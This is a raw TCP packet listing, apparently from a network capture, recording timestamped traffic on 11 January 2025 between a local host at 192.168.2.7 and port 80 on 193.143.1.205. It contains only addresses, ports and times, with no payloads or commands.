Jan 11, 2025 01:29:06.709302902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.709312916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.709321976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.709336042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.709352016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.709367990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.710056067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710072994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710088968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710099936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.710114002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710144043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710158110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.710166931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710182905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.710191965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710207939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710223913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.710926056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710941076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710958004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.710968971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.710988998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.711000919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.711014986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.711030006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.711045027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.711062908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.711074114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.711106062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.712040901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.712057114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.712071896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.712086916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.712097883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.712112904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.712129116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.712138891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.712152958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.712163925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.712179899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.712203979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.712985039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.713001013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.713016033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.713032007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.713047981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.713073015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.713079929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.713087082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.713103056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.713113070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.713128090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.713140011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.713999033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.714014053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.714029074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.714046955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.714056015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.714071989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.714082956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.714099884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.714116096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.714127064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.714143991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.714190960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.714991093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715007067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715022087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715034962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.715049028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715069056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715075016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.715087891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715104103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.715112925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715127945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715147018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.715831041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715951920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715967894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715987921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.715996027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.716007948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.716018915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.716034889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.716049910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.716061115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.716077089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.716094017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.718388081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.740968943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.740993977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.741010904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.741028070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.741043091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.741058111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.753218889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.775301933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775346041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.775372028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775377989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775382996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775401115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775414944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775433064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775444031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.775458097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775475979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.775485039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775502920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775516987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.775526047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.775558949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.795420885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.795444012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.795461893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.795478106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.795492887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.795521021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.795527935 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.809633017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809670925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809676886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809683084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.809700966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809717894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809729099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.809741974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809756994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.809767008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809782028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809811115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.809819937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809834957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809848070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.809856892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.809887886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.829715014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829746962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829763889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829787970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.829804897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829824924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829832077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829838991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829859972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829868078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.829886913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829894066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.829905987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829921961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829943895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.829943895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.829963923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829979897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.829998016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830005884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830045938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830076933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830092907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830107927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830123901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830135107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830157042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830188036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830203056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830219030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830235004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830246925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830269098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830343962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830358982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830374956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830389977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830401897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830420017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830430031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830517054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830530882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830545902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830558062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830580950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830591917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830607891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830630064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830643892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830652952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830667973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830688000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830696106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830720901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.830928087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830943108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830960035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830965996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.830985069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831022024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831062078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831077099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831096888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831100941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831105947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831115961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831127882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831146002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831154108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831171989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831182957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831213951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831357002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831372023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831387043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831412077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831423998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831442118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831456900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831473112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831481934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831490040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831527948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831542969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831557989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831568003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831582069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831604958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831615925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831631899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831646919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831656933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831670046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831680059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831695080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831708908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831724882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.831736088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.831762075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.834872961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.834892988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.834920883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.834933996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.834950924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.834968090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.834985971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.834992886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.835007906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835016966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.835041046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835057020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835078955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835087061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.835099936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835113049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.835124969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835141897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835155964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.835167885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835206985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.835294008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835309982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835350037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835355997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.835378885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835395098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835413933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835421085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.835434914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835454941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.835462093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.835500002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.837228060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.845813990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.862082958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.862102985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.862119913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.862137079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.862152100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.862169981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.862180948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.862195969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.862212896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.862229109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.862240076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.862260103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.881928921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.881987095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882011890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882028103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882038116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.882065058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.882082939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882117987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882133961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882158041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882172108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882183075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.882193089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.882210970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882225037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882245064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.882256985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882271051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882286072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882302999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.882324934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.882359028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.896394014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.896403074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.896435022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.896442890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.896461964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.896472931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.896487951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.896502972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.896518946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.896529913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.896544933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.896557093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.916614056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916659117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.916680098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916704893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916719913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916738987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916745901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.916759968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916769028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.916790962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916812897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916834116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916843891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.916862965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916878939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916891098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.916903973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916914940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.916937113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916950941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:06.916974068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:06.916984081 CET	80	49699	193.143.1.205	192.168.2.7
